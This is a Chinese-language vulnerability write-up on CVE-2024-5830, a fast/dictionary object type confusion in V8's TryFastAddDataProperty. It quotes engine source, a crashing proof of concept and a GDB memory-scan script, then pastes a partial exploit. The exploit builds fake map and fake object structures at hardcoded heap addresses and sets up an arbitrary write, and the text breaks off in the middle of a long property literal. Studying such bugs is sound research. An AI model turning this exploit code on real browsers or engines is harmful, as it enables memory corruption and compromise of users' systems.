【二进制漏洞- CVE-2024-5830 分析】此文章归类为:二进制漏洞。
本文参考 buptsb 的 writeup
,大佬的分析文章已经足够清晰,但是对于一些利用细节总是一笔带过,对于像我这样的小白着实不友好,所以还是决定把自己的分析调试过程记录下来,以便日后查看
文章主要记录利用过程,漏洞原理参考文章已经非常清晰了
patch 如下:
定位补丁代码上下文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | bool TryFastAddDataProperty(Isolate* isolate, DirectHandle<JSObject> object, DirectHandle<Name> name, DirectHandle<Object> value, PropertyAttributes attributes) { DCHECK(IsUniqueName(*name)); // 获取 map Tagged<Map> map = TransitionsAccessor(isolate, object->map()) .SearchTransition(*name, PropertyKind::kData, attributes); if (map.is_null()) return false ; DCHECK(!map->is_dictionary_map()); Handle<Map> new_map = handle(map, isolate); // 获取 number_of_own_descriptors - 1 InternalIndex descriptor = new_map->LastAdded(); // 调用 PrepareForDataProperty new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor, PropertyConstness::kConst, value); // 修改 map JSObject::MigrateToMap(isolate, object, new_map); // TODO(leszeks): Avoid re-loading the property details, which we already // loaded in PrepareForDataProperty. // 写属性值 object->WriteToField(descriptor, new_map->instance_descriptors()->GetDetails(descriptor), *value); return true ; } |
1 2 3 4 5 6 7 8 9 10 11 | Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map, InternalIndex descriptor, PropertyConstness constness, DirectHandle<Object> value) { // Update to the newest map before storing the property. map = Update(isolate, map);  // Dictionaries can store any property value. DCHECK(!map->is_dictionary_map()); return UpdateDescriptorForValue(isolate, map, descriptor, constness, value); } |
TryFastAddDataProperty
函数主要用于优化 prop
的添加,这里可以看当时引入该函数的 commit
:
可以看到这里的优化主要依赖于 transition array
的,所以可以知道其是针对 fast object
的,因为 slow object[dict]
不存在 transition array
现说结论,这里的漏洞在于:
PrepareForDataProperty
函数中,对 map
进行 Update
后,没有检查其是否可能为 dict map
Update
函数中存在逻辑可以将 map
迁移为 dict map
,此时 fast object
变成 slow object
fast object
进行优化的,所以在后面会将对象当作 fast object
,从而导致 fast object
与 slow object
的类型混淆看后面的
DCHECK(!map->is_dictionary_map());
是不是格外显眼,在Debug
模式下会检查其不为dict map
,但是在Release
模式下却没有检查
在之前的 commit
的 comment
中可以看到,该函数主要用于优化 AddProperty
和 CreateDataProperty
函数,这里的利用依赖于 CreateDataProperty
函数:
issues-40057609 中给了一种调用到 CreateDataProperty
函数的方案:
1 2 3 4 5 6 7 8 | Builtins_CloneObjectIC Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit Runtime_CloneObjectIC_Miss CloneObjectSlowPath SetOrCopyDataProperties FastAssign CreateDataProperty TryFastAddDataProperty |
这里主要利用 ...spread
操作去创建一个对象,跟进该 issues
中的内容可以知道该操作行为如下:
...spread
时,会创建一个 CloneObject
,其函数调用栈如下:1 2 | var source = { n : 5 }; var object = { ...source }; |
...spread
操作后跟有其它 indexes
,其函数调用栈跟第一种情况相同1 2 | var source = { n : 5 }; var object = { ...source, __proto__:null }; |
先跟进 Map::Update
函数:
1 2 3 4 5 6 7 8 9 10 11 | Handle<Map> Map::Update(Isolate* isolate, Handle<Map> map) { if (!map->is_deprecated()) return map; // <======= check1 if (v8_flags.fast_map_update) { Tagged<Map> target_map = SearchMigrationTarget(isolate, *map); if (!target_map.is_null()) { return handle(target_map, isolate); } } MapUpdater mu(isolate, map); return mu.Update(); // target path } |
可以看到想要进入 target path
,必须得通过 check1
,即 map
得是 deprecated
的
然后进入 MapUpdater::Update
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | Handle<Map> MapUpdater::Update() { base::SharedMutexGuard<base::kExclusive> mutex_guard( isolate_->map_updater_access()); return UpdateImpl(); // <====== path } Handle<Map> MapUpdater::UpdateImpl() { DCHECK_EQ(kInitialized, state_); DCHECK_IMPLIES(new_prototype_.is_null() && new_elements_kind_ == old_map_->elements_kind(), old_map_->is_deprecated()); if (FindRootMap() == kEnd) return result_map_; if (FindTargetMap() == kEnd) return result_map_; if (ConstructNewMap() == kAtIntegrityLevelSource) { // <======= path ConstructNewMapWithIntegrityLevelTransition(); } DCHECK_EQ(kEnd, state_); if (V8_UNLIKELY(v8_flags.fast_map_update && old_map_->is_deprecated())) { TransitionsAccessor::SetMigrationTarget(isolate_, old_map_, *result_map_); } DCHECK_EQ(kEnd, state_); return result_map_; } |
可以看到这里我们可以走到 ConstructNewMap
函数去创建新的 map
,跟进该函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | MapUpdater::State MapUpdater::ConstructNewMap() { #ifdef DEBUG DirectHandle<EnumCache> old_enum_cache( old_map_ - >instance_descriptors() - >enum_cache(), isolate_); #endif DirectHandle<DescriptorArray> new_descriptors = BuildDescriptorArray(); Handle< Map > split_map = FindSplitMap(new_descriptors); int split_nof = split_map - >NumberOfOwnDescriptors(); if (old_nof_ = = split_nof) { CHECK(has_integrity_level_transition_); state_ = kAtIntegrityLevelSource; return state_; } InternalIndex split_index(split_nof); PropertyDetails split_details = GetDetails(split_index); / / Invalidate a transition target at |key|. MaybeHandle< Map > maybe_transition = TransitionsAccessor::SearchTransition( isolate_, split_map, GetKey(split_index), split_details.kind(), split_details.attributes()); if (!maybe_transition.is_null()) { maybe_transition.ToHandleChecked() - >DeprecateTransitionTree(isolate_); } / / If |maybe_transition| is not nullptr then the transition array already / / contains entry for given descriptor. This means that the transition / / could be inserted regardless of whether transitions array is full or not . if (maybe_transition.is_null() && !TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) { return Normalize( "Normalize_CantHaveMoreTransitions" ); / / < = = = = = = = 【 1 】 } ...... |
在 【1】
会将 map
迁移为 dict map
,这里的 maybe_transition
调试发现满足条件,关键就在于 CanHaveMoreTransitions
函数得返回 false
:
1 2 3 4 5 6 7 8 9 10 11 | bool TransitionsAccessor::CanHaveMoreTransitions(Isolate* isolate, DirectHandle<Map> map) { if (map->is_dictionary_map()) return false ; Tagged<MaybeObject> raw_transitions = map->raw_transitions(isolate, kAcquireLoad); if (GetEncoding(isolate, raw_transitions) == kFullTransitionArray) { return GetTransitionArray(isolate, raw_transitions) ->number_of_transitions() < kMaxNumberOfTransitions; // <======= 【1】 } return true ; } |
这里会进入 【1】
分支,这里的 kMaxNumberOfTransitions = 1024 + 512;
最开始我们的
map
为非dict map
,所以这里的raw_transitions
指针就是kFullTransitionArray
类型
1 | static const int kMaxNumberOfTransitions = 1024 + 512; |
所以想要返回 false
就得让 number_of_transitions
大于等于 1024+512 = 1536
,这个比较好办
总结一下上面的内容,想要触发漏洞得满足:
...spread
操作执行到漏洞分支old_map
得是 deprecated
的split_map
所在的 transition tree
的 number_of_transitions
得 ≥ 1024+512
根据上述条件写出 poc
:
poc
主要参考上述文章,主要是感觉存在一些玄学问题搞了我很久
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | const value = 0x66; const prefix = "p" ; let source1 = {p0:0, p1:1, p2:2, p3:3, p4:4, p5:5, p6:6, p7:7, p8:8, p9:9, p10:10, p11:11, p12:12, p13:13, p14:14, p15:15, p16:16, p17:17, p18:18, p19:19, p20:20, p21:21, p22:22, p23:23, p24:24, p25:25, p26:26, p27:27, p28:28, p29:29, get p30(){ return callback();}} const nums = 30 let source2 = {}; for (let i = 0; i < nums+1; i++) { eval(`source2.${prefix}${i} = ${i}`); } let source3 = { p0: 1, p1: 1, p2: 1, p3: 1.1, // ===> construct deprecated_map 【1】 get p4() { // ===> fill transition tree 【2】 return 1; } }; function cloneic_mega(src) { var obj = { ...src, __proto__: null }; return obj; } function callback() { // print("[+] In callback"); // construct dict map 【3】 // p0 -> p1 -> p2 -> p3 -> p4 // -> p__0 // -> p__1 // -> p__2 // ...... // -> p_1535 const max = 1024 + 512; for (let i = 0; i < max; i++) { let tmp = cloneic_mega(source3); eval(`tmp.${prefix}__${i} = ${i}`); } // print("[+] Over callback"); // readline(); return value; } print( "[+] GO" ); cloneic_mega(source2); cloneic_mega(source1); |
这里我们使用 getter
回调去填充 transition tree
,这里稍微解释下 poc
1、为什么要先调用 cloneic_mega(source2);
这里其实是我之前少说了一个
check
,就在这里说了,懒得重新整合了
其实就是 TryFastAddDataProperty
中的一个检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | bool TryFastAddDataProperty(Isolate* isolate, DirectHandle<JSObject> object, DirectHandle<Name> name, DirectHandle<Object> value, PropertyAttributes attributes) { DCHECK(IsUniqueName(*name)); // 获取 map Tagged<Map> map = TransitionsAccessor(isolate, object->map()) .SearchTransition(*name, PropertyKind::kData, attributes); if (map.is_null()) return false ; // <======== check DCHECK(!map->is_dictionary_map()); Handle<Map> new_map = handle(map, isolate); // 获取 number_of_own_descriptors - 1 InternalIndex descriptor = new_map->LastAdded(); // 调用 PrepareForDataProperty new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor, PropertyConstness::kConst, value); // 修改 map JSObject::MigrateToMap(isolate, object, new_map); // TODO(leszeks): Avoid re-loading the property details, which we already // loaded in PrepareForDataProperty. // 写属性值 object->WriteToField(descriptor, new_map->instance_descriptors()->GetDetails(descriptor), *value); return true ; } |
可以看到这里搜索出来的 map
不能为 null
:
1 2 3 4 5 6 | ...... Tagged<Map> map = TransitionsAccessor(isolate, object->map()) .SearchTransition(*name, PropertyKind::kData, attributes); if (map.is_null()) return false ; // <======== check ...... |
所以这里我们先执行 cloneic_mega(source2);
去构建一个 map_p29 -> map_p30
的转移
不执行 cloneic_mega(source2);
则搜索出来的 map
为 null
:
其它地方比如 【1】/【2】
处都注释了,具体可以自行调试,反正就是很玄学
【1】
处不能为 SMI
,否则 old_map
为 stable_map
【2】
处必须加上一个 get
回调,否则 split_map
所在 transition tree
的深度为 10
poc
效果如下:
old_map
为 deprecated_map
Update
后的 new_map
为 dictionary_map
可以看到在 WriteToField
之前会调用 MigrateToMap
更新 object
的 map
为 new_map
,而此时的 new_map
为 dict_map
,但是后面 WriteToField
仍然会将 object
当作 fast object
,所以导致了 fast object
和 slow object
之间的类型混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 | ...... new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor, PropertyConstness::kConst, value); // 修改 map JSObject::MigrateToMap(isolate, object, new_map); // TODO(leszeks): Avoid re-loading the property details, which we already // loaded in PrepareForDataProperty. // 写属性值 object->WriteToField(descriptor, new_map->instance_descriptors()->GetDetails(descriptor), *value); return true ; } |
直接运行 poc
程序会直接 Segmentation fault
:
这里的 rax
其实就是 dict map
的 DescriptorArray
,其是只读的,所以这里的写入会报错:
整个调用栈如下:
定位到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map, InternalIndex descriptor, PropertyConstness constness, DirectHandle<Object> value) { // Update to the newest map before storing the property. map = Update(isolate, map); // Dictionaries can store any property value. DCHECK(!map->is_dictionary_map()); return UpdateDescriptorForValue(isolate, map, descriptor, constness, value); } Handle<Map> UpdateDescriptorForValue(Isolate* isolate, Handle<Map> map, InternalIndex descriptor, PropertyConstness constness, DirectHandle<Object> value) { ...... MapUpdater mu(isolate, map); return mu.ReconfigureToDataField(descriptor, attributes, constness, representation, type); // <======= go in } Handle<Map> MapUpdater::ReconfigureToDataField(InternalIndex descriptor, PropertyAttributes attributes, PropertyConstness constness, Representation representation, Handle<FieldType> field_type) { ...... if (TryReconfigureToDataFieldInplace() == kEnd) return result_map_; // <======= go in if (FindRootMap() == kEnd) return result_map_; if (FindTargetMap() == kEnd) return result_map_; if (ConstructNewMap() == kAtIntegrityLevelSource) { ConstructNewMapWithIntegrityLevelTransition(); } DCHECK_EQ(kEnd, state_); return result_map_; } MapUpdater::State MapUpdater::TryReconfigureToDataFieldInplace() { // Updating deprecated maps in-place doesn't make sense. if (old_map_->is_deprecated()) return state_; // 【1】 if (new_representation_.IsNone()) return state_; // Not done yet. PropertyDetails old_details = old_descriptors_->GetDetails(modified_descriptor_); if (old_details.attributes() != new_attributes_ || // bypass1 NO old_details.kind() != new_kind_ || old_details.location() != new_location_) { // These changes can't be done in-place. return state_; // Not done yet. } Representation old_representation = old_details.representation(); if (!old_representation.CanBeInPlaceChangedTo(new_representation_)) { // bypass2 return state_; // Not done yet. } ...... GeneralizeField(old_map_, modified_descriptor_, new_constness_, // ERROR new_representation_, new_field_type_); // Check that the descriptor array was updated. DCHECK(old_descriptors_->GetDetails(modified_descriptor_) .representation() .Equals(new_representation_)); DCHECK(FieldType::NowIs(old_descriptors_->GetFieldType(modified_descriptor_), new_field_type_)); result_map_ = old_map_; state_ = kEnd; return state_; // Done. } |
所以这里我们需要避免进入 GeneralizeField
函数,这里存在两个绕过点,第一个无法使用,根据注释并且调试可以知道其值每次都是相等的,所以这里我们需要通过第二个 if
语句去绕过
这里的
【1】
处需要注意,这里的map
已经是new_map
了,其为dict map
来详细分析下该如何进行绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | ...... Representation old_representation = old_details.representation(); if (!old_representation.CanBeInPlaceChangedTo(new_representation_)) { // 要求返回 false return state_; // Not done yet. } ...... bool CanBeInPlaceChangedTo( const Representation& other) const { if (Equals(other)) return true ; if (IsWasmValue() || other.IsWasmValue()) return false ; // 【1】 // If it's just a representation generalization case (i.e. property kind and // attributes stays unchanged) it's fine to transition from None to anything // but double without any modification to the object, because the default // uninitialized value for representation None can be overwritten by both // smi and tagged values. Doubles, however, would require a box allocation. if (IsNone()) return !other.IsDouble(); // 【2】==> other.IsDouble() = true if (!other.IsTagged()) return false ; // 【3】 DCHECK(IsSmi() || IsDouble() || IsHeapObject()); return true ; } |
这里我们可以利用 【2】
处进行绕过,调试发现 IsNone()
返回的是 true
,所以得让 other.IsDouble()
返回 true
,所以我们对 details
的相关字段要求如下:
KindFiled = 1 ==> kAccessor kind
(: 这个原因我暂时不明RepresentationField = 2 ==> kDouble
(:用于绕过和后面的写入1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | class Representation { public : enum Kind { kNone, kSmi, kDouble, kHeapObject, kTagged, // This representation is used for WasmObject fields and basically means // that the actual field type information must be taken from the Wasm RTT // associated with the map. kWasmValue, kNumRepresentations }; ...... |
描述符数组结构如下:
所以 details
读取如下:
1 | details = [DescriptorArray_compressed + 3 + (12*index+4)] >> 1 |
RDX = 0x1798 = 4 + 503*12
这里我调试的时候 source
数组的大小为 503
,相关属性字段偏移如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | using KindField = base::BitField<PropertyKind, 0, 1>; [0,0] using ConstnessField = KindField::Next<PropertyConstness, 1>; [1,1] using AttributesField = ConstnessField::Next<PropertyAttributes, 3>; [2,4] // Bit fields for normalized/dictionary mode objects. using PropertyCellTypeField = AttributesField::Next<PropertyCellType, 3>; [5,7] using DictionaryStorageField = PropertyCellTypeField::Next<uint32_t, 23>; // Bit fields for fast objects. using LocationField = AttributesField::Next<PropertyLocation, 1>; [5,5] using RepresentationField = LocationField::Next<uint32_t, 3>; [6,8] // kDescriptorIndexBitCount = 10 using DescriptorPointer = RepresentationField::Next<uint32_t, kDescriptorIndexBitCount>; [9,18] using FieldIndexField = DescriptorPointer::Next<uint32_t, kDescriptorIndexBitCount>; [19,28] |
这里写个脚本扫描下内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import gdb class H(gdb.Command): def __init__( self ): super (H, self ).__init__( "mmscan" , gdb.COMMAND_USER) def invoke( self , args, from_tty): argv = gdb.string_to_argv(args) if len (argv) ! = 3 : print ( "Usage: memscan <start_address> <step> <nums>" ) return start_address = int (argv[ 0 ], 16 ) step = int (argv[ 1 ], 10 ) nums = int (argv[ 2 ], 10 ) print ( "[+] start_address: " , hex (start_address)) print ( "[+] step: " , step) print ( "[+] nums: " , nums) self .scan(start_address, step, nums) def scan( self , start_address, step, nums): for i in range (nums): current_address = start_address + 3 + i * step + 0x10 data = gdb.selected_inferior().read_memory(current_address, 4 ) value = int .from_bytes(data, byteorder = 'little' , signed = False ) tmp = value >> 1 if tmp & 1 = = 1 and (tmp >> 6 ) & 7 = = 2 : print ( "[v]" , hex (current_address), " ==> " , i, " | index ==> " , hex (((tmp>> 19 )& 0x3ff ) * 4 + 7 )) H() |
扫描结果如下:
在我的环境下, 502
能够完成利用(大小其实是 503
,因为是从 0~502
),index
的含义后面再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | ...... // 修改 map JSObject::MigrateToMap(isolate, object, new_map); // TODO(leszeks): Avoid re-loading the property details, which we already // loaded in PrepareForDataProperty. // 写属性值 object->WriteToField(descriptor, new_map->instance_descriptors()->GetDetails(descriptor), *value); ...... void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details, Tagged<Object> value) { DCHECK_EQ(PropertyLocation::kField, details.location()); DCHECK_EQ(PropertyKind::kData, details.kind()); DisallowGarbageCollection no_gc; FieldIndex index = FieldIndex::ForDetails(map(), details); if (details.representation().IsDouble()) { // <=============== 【1】 // Manipulating the signaling NaN used for the hole and uninitialized // double field sentinel in C++, e.g. with base::bit_cast or // value()/set_value(), will change its value on ia32 (the x87 stack is used // to return values and stores to the stack silently clear the signalling // bit). uint64_t bits; if (IsSmi(value)) { bits = base::bit_cast<uint64_t>( static_cast < double >(Smi::ToInt(value))); } else if (IsUninitialized(value)) { bits = kHoleNanInt64; } else { DCHECK(IsHeapNumber(value)); bits = Cast<HeapNumber>(value)->value_as_bits(); } auto box = Cast<HeapNumber>(RawFastPropertyAt(index)); // <====================== 【2】 box->set_value_as_bits(bits); } else { FastPropertyAtPut(index, value); } } Tagged<JSAny> JSObject::RawFastPropertyAt(FieldIndex index, SeqCstAccessTag tag) const { PtrComprCageBase cage_base = GetPtrComprCageBase(* this ); // cage base return RawFastPropertyAt(cage_base, index, tag); // <==================== 【3】 } Tagged<JSAny> JSObject::RawFastPropertyAt(PtrComprCageBase cage_base, FieldIndex index, SeqCstAccessTag tag) const { if (index.is_inobject()) { return TaggedField<JSAny>::SeqCst_Load(cage_base, * this , index.offset()); } else { return property_array(cage_base)->get(cage_base, index.outobject_array_index(), tag); // <================== 【4】 } } int index() const { DCHECK(IsAligned(offset(), kTaggedSize)); return offset() / kTaggedSize; } int outobject_array_index() const { DCHECK(!is_inobject()); return index() - first_inobject_property_offset() / kTaggedSize; } |
在进行写入之前,调用 `` 更新了 object
的 map
为 dict map
,所以后但是写入是按照 fast object
进行写入的,NameDictionary
结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 | map [4] FixedArray length [4] elements [4] deleted [4] capacity [4] PrefixStartIndex [4] padding?? [0x10] N * [ kEntryKeyIndex = 0 [4] kEntryValueIndex = 1 [4] kEntryDetailsIndex = 2 [4] ] |
无语了,写到12点半,结果上传文件,失败后,直接崩了,之前写的东西全没了,无语,不想写了,有时间再补吧......贴个 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 | var buf = new ArrayBuffer(8); var dv = new DataView(buf); var u8 = new Uint8Array(buf); var u32 = new Uint32Array(buf); var u64 = new BigUint64Array(buf); var f32 = new Float32Array(buf); var f64 = new Float64Array(buf); var roots = new Array(0x30000); var index = 0; function pair_u32_to_f64(l, h) { u32[0] = l; u32[1] = h; return f64[0]; } function u64_to_f64(val) { u64[0] = val; return f64[0]; } function f64_to_u64(val) { f64[0] = val; return u64[0]; } function set_u64(val) { u64[0] = val; } function set_l(l) { u32[0] = l; } function set_h(h) { u32[1] = h; } function get_l() { return u32[0]; } function get_h() { return u32[1]; } function get_u64() { return u64[0]; } function get_f64() { return f64[0]; } function get_fl(val) { f64[0] = val; return u32[0]; } function get_fh(val) { f64[0] = val; return u32[1]; } function add_ref(obj) { roots[index++] = obj; } function major_gc() { new ArrayBuffer(0x7fe00000); } function minor_gc() { for (let i = 0; i < 8; i++) { add_ref( new ArrayBuffer(0x200000)); } add_ref( new ArrayBuffer(8)); } function hexx(str, val) { console.log( "[+] " +str+ ": 0x" +val.toString(16)); } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } var big_double_array = new Array(0xf700).fill(1.1); var big_object_array = new Array(0xf700).fill({}); var const_double_element_addr = 0x00442141; var const_double_data_addr = const_double_element_addr+7; var const_object_element_addr = 0x004c2141; var const_object_data_addr = const_object_element_addr+7; var fake_map_addr = const_double_data_addr + 0x1000; var fake_obj_addr = const_double_data_addr + 0x2000; // 0x2f040404001837c9 0x0a0007ff11000843 big_double_array[(fake_map_addr-const_double_data_addr)/8 + 0] = u64_to_f64(0x2f040404001837c9n); big_double_array[(fake_map_addr-const_double_data_addr)/8 + 1] = u64_to_f64(0x0a0007ff11000843n); big_double_array[(fake_obj_addr-const_double_data_addr)/8 + 0] = pair_u32_to_f64(fake_map_addr+1, 0x6fd); big_double_array[(fake_obj_addr-const_double_data_addr)/8 + 1] = pair_u32_to_f64(0, 0x2000); const prefix = "pppp" ; const value = fake_obj_addr+1; // 8 7 6 [5 4 3 2] 1 const arb_write_value = pair_u32_to_f64((value<<8)&0xffffffff, (value>>24)&0xffffffff); hexx( "arb_write_value" , f64_to_u64(arb_write_value)); const arb_write_addr = const_object_data_addr; //%DebugPrint(big_double_array); //%DebugPrint(big_object_array); //readline(); let source1 = {pppp0:0, pppp1:1, pppp2:2, pppp3:3, pppp4:4, pppp5:5, pppp6:6, pppp7:7, pppp8:8, pppp9:9, pppp10:10, pppp11:11, pppp12:12, pppp13:13, pppp14:14, pppp15:15, pppp16:16, pppp17:17, pppp18:18, pppp19:19, pppp20:20, pppp21:21, pppp22:22, pppp23:23, pppp24:24, pppp25:25, pppp26:26, pppp27:27, pppp28:28, pppp29:29, pppp30:30, pppp31:31, pppp32:32, pppp33:33, pppp34:34, pppp35:35, pppp36:36, pppp37:37, pppp38:38, pppp39:39, pppp40:40, pppp41:41, pppp42:42, pppp43:43, pppp44:44, pppp45:45, pppp46:46, pppp47:47, pppp48:48, pppp49:49, pppp50:50, pppp51:51, pppp52:52, pppp53:53, pppp54:54, pppp55:55, pppp56:56, pppp57:57, pppp58:58, pppp59:59, pppp60:60, pppp61:61, pppp62:62, pppp63:63, pppp64:64, pppp65:65, pppp66:66, pppp67:67, pppp68:68, pppp69:69, pppp70:70, pppp71:71, pppp72:72, pppp73:73, pppp74:74, pppp75:75, pppp76:76, pppp77:77, pppp78:78, pppp79:79, pppp80:80, pppp81:81, pppp82:82, pppp83:83, pppp84:84, pppp85:85, pppp86:86, pppp87:87, pppp88:88, pppp89:89, pppp90:90, pppp91:91, pppp92:92, pppp93:93, pppp94:94, pppp95:95, pppp96:96, pppp97:97, pppp98:98, pppp99:99, pppp100:100, pppp101:101, pppp102:102, pppp103:103, pppp104:104, pppp105:105, pppp106:106, pppp107:107, pppp108:108, pppp109:109, pppp110:110, pppp111:111, pppp112:112, pppp113:113, pppp114:114, pppp115:115, pppp116:116, pppp117:117, pppp118:118, pppp119:119, pppp120:120, pppp121:121, pppp122:122, pppp123:123, pppp124:124, pppp125:125, pppp126:126, pppp127:127, pppp128:128, pppp129:129, pppp130:130, pppp131:131, pppp132:132, pppp133:133, pppp134:134, pppp135:135, pppp136:136, pppp137:137, pppp138:138, pppp139:139, pppp140:140, pppp141:141, pppp142:142, pppp143:143, pppp144:144, pppp145:145, pppp146:146, pppp147:147, pppp148:148, pppp149:149, pppp150:150, pppp151:151, pppp152:152, pppp153:153, pppp154:154, pppp155:155, pppp156:156, pppp157:157, pppp158:158, pppp159:159, pppp160:160, pppp161:161, pppp162:162, pppp163:163, pppp164:164, pppp165:165, pppp166:166, pppp167:167, pppp168:168, pppp169:169, pppp170:170, pppp171:171, pppp172:172, pppp173:173, pppp174:174, pppp175:175, pppp176:176, pppp177:177, pppp178:178, pppp179:179, pppp180:180, pppp181:181, pppp182:182, pppp183:183, pppp184:184, pppp185:185, pppp186:186, pppp187:187, pppp188:188, pppp189:189, pppp190:190, pppp191:191, pppp192:192, pppp193:193, pppp194:194, pppp195:195, pppp196:196, pppp197:197, pppp198:198, pppp199:199, pppp200:200, pppp201:201, pppp202:202, pppp203:203, pppp204:204, pppp205:205, pppp206:206, pppp207:207, pppp208:208, pppp209:209, pppp210:210, pppp211:211, pppp212:212, pppp213:213, pppp214:214, pppp215:215, pppp216:216, pppp217:217, pppp218:218, pppp219:219, pppp220:220, pppp221:221, pppp222:222, pppp223:223, pppp224:224, pppp225:225, pppp226:226, pppp227:227, pppp228:228, pppp229:229, pppp230:230, pppp231:231, pppp232:232, pppp233:233, pppp234:234, pppp235:235, pppp236:236, pppp237:237, pppp238:238, pppp239:239, pppp240:240, pppp241:241, pppp242:242, pppp243:243, pppp244:244, pppp245:245, pppp246:246, pppp247:247, pppp248:248, pppp249:249, pppp250:250, pppp251:251, pppp252:252, pppp253:253, pppp254:254, pppp255:255, pppp256:256, pppp257:257, pppp258:258, pppp259:259, pppp260:260, pppp261:261, pppp262:262, pppp263:263, pppp264:264, pppp265:265, pppp266:266, pppp267:267, pppp268:268, pppp269:269, pppp270:270, pppp271:271, pppp272:272, pppp273:273, pppp274:274, pppp275:275, pppp276:276, pppp277:277, pppp278:278, pppp279:279, pppp280:280, pppp281:281, pppp282:282, pppp283:283, pppp284:284, pppp285:285, pppp286:286, pppp287:287, pppp288:288, pppp289:289, pppp290:290, pppp291:291, pppp292:292, pppp293:293, pppp294:294, pppp295:295, pppp296:296, pppp297:297, pppp298:298, pppp299:299, pppp300:300, pppp301:301, pppp302:302, pppp303:303, pppp304:304, pppp305:305, pppp306:306, pppp307:307, pppp308:308, pppp309:309, pppp310:310, pppp311:311, pppp312:312, pppp313:313, pppp314:314, pppp315:315, pppp316:316, pppp317:317, pppp318:318, pppp319:319, pppp320:320, pppp321:321, pppp322:322, pppp323:323, pppp324:324, pppp325:325, pppp326:326, pppp327:327, pppp328:328, pppp329:329, pppp330:330, pppp331:331, pppp332:332, pppp333:333, pppp334:334, pppp335:335, pppp336:336, pppp337:337, pppp338:338, pppp339:339, pppp340:340, pppp341:341, pppp342:342, pppp343:343, pppp344:344, pppp345:345, pppp346:346, pppp347:347, pppp348:348, pppp349:349, pppp350:350, pppp351:351, pppp352:352, pppp353:353, pppp354:354, pppp355:355, pppp356:356, pppp357:357, pppp358:358, pppp359:359, pppp360:360, pppp361:361, pppp362:362, pppp363:363, pppp364:364, pppp365:365, pppp366:366, pppp367:367, pppp368:368, pppp369:369, pppp370:370, pppp371:371, pppp372:372, pppp373:373, pppp374:374, pppp375:375, pppp376:376, pppp377:377, pppp378:378, pppp379:379, pppp380:380, pppp381:381, pppp382:382, pppp383:383, pppp384:384, pppp385:385, pppp386:386, pppp387:387, pppp388:388, pppp389:389, pppp390:390, pppp391:391, pppp392:392, pppp393:393, pppp394:394, pppp395:395, pppp396:396, pppp397:397, pppp398:398, pppp399:399, pppp400:400, pppp401:401, pppp402:402, pppp403:403, pppp404:404, pppp405:405, pppp406:406, pppp407:407, pppp408:408, pppp409:409, pppp410:410, pppp411:411, pppp412:412, pppp413:413, pppp414:414, pppp415:415, pppp416:416, pppp417:417, pppp418:418, pppp419:419, pppp420:420, pppp421:421, pppp422:422, pppp423:423, pppp424:424, pppp425:425, pppp426:426, pppp427:427, pppp428:428, pppp429:429, pppp430:430, pppp431:431, pppp432:432, pppp433:433, pppp434:434, pppp435:435, pppp436:436, pppp437:437, pppp438:438, pppp439:439, pppp440:440, pppp441:441, pppp442:442, pppp443:443, pppp444:444, pppp445:445, pppp446:446, pppp447:447, pppp448:448, pppp449:449, pppp450:450, pppp451:451, pppp452:452, pppp453:453, pppp454:454, pppp455:455, pppp456:456, pppp457:457, pppp458:458, pppp459:459, pppp460:460, pppp461:461, pppp462:462, pppp463:463, pppp464:464, pppp465:465, pppp466:466, pppp467:467, pppp468:468, pppp469:469, pppp470:470, pppp471:471, pppp472:472, pppp473:473, pppp474:474, pppp475:475, pppp476:476, pppp477:477, pppp478:478, pppp479:479, pppp480:480, pppp481:481, pppp482:arb_write_addr/2, pppp483:483, pppp484:484, pppp485:485, pppp486:486, pppp487:487, pppp488:488, pppp489:489, 